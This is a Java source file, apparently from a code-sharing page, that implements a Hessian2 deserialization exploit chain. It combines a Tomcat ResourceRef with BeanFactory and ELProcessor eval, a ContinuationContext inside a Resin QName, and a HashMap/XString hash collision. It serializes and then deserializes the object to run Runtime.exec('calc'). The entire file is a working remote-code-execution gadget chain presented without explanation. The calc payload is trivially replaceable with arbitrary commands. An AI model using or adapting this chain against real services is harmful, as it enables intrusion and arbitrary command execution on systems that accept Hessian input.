1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142
| import org.apache.naming.ResourceRef; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.caucho.naming.QName; import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException; import javax.naming.Context; import javax.naming.StringRefAddr; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable;
public class Main { public static void main(String[] args) throws Exception {
String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")"; ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); resourceRef.add(new StringRefAddr("forceString", "x=eval")); resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext"); Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); constructor.setAccessible(true); CannotProceedException cpe = new CannotProceedException(); Hashtable<?, ?> hashtable = new Hashtable<>();
cpe.setResolvedObj(resourceRef);
Context continuationContext = (Context) constructor.newInstance(cpe, hashtable); QName qname = new QName(continuationContext,"aaa","bbb");
String unhash = unhash(qname.hashCode()); Object obj = HashMap_to_anyequals_to_anytoString(new XString(unhash),qname);
byte[] payload = Hessian2_serialize(obj); Hessian2_unserialize(payload); }
public static String unhash ( int hash ) { int target = hash; StringBuilder answer = new StringBuilder(); if ( target < 0 ) { answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if ( target == Integer.MIN_VALUE ) return answer.toString(); target = target & Integer.MAX_VALUE; }
unhash0(answer, target); return answer.toString(); }
private static void unhash0 ( StringBuilder partial, int target ) { int div = target / 31; int rem = target % 31;
if ( div <= Character.MAX_VALUE ) { if ( div != 0 ) partial.append((char) div); partial.append((char) rem); } else { unhash0(partial, div); partial.append((char) rem); } }
public static Object HashMap_to_anyequals_to_anytoString(Object anyobj_equals,Object anyobj_toString) throws Exception{ HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("yy", anyobj_toString); hashMap1.put("zZ", anyobj_equals); hashMap2.put("yy", anyobj_equals); hashMap2.put("zZ", anyobj_toString);
HashMap map = makeMap(hashMap1, hashMap2); return map; }
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> map = new HashMap<>(); setValue(map, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setValue(map, "table", tbl); return map; }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static byte[] Hessian2_serialize(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(baos); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); hessian2Output.writeObject(o); hessian2Output.flush(); return baos.toByteArray(); }
public static Object Hessian2_unserialize(byte[] bytes) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream(bytes); Hessian2Input hessian2Input = new Hessian2Input(bais); Object o = hessian2Input.readObject(); return o; } }
|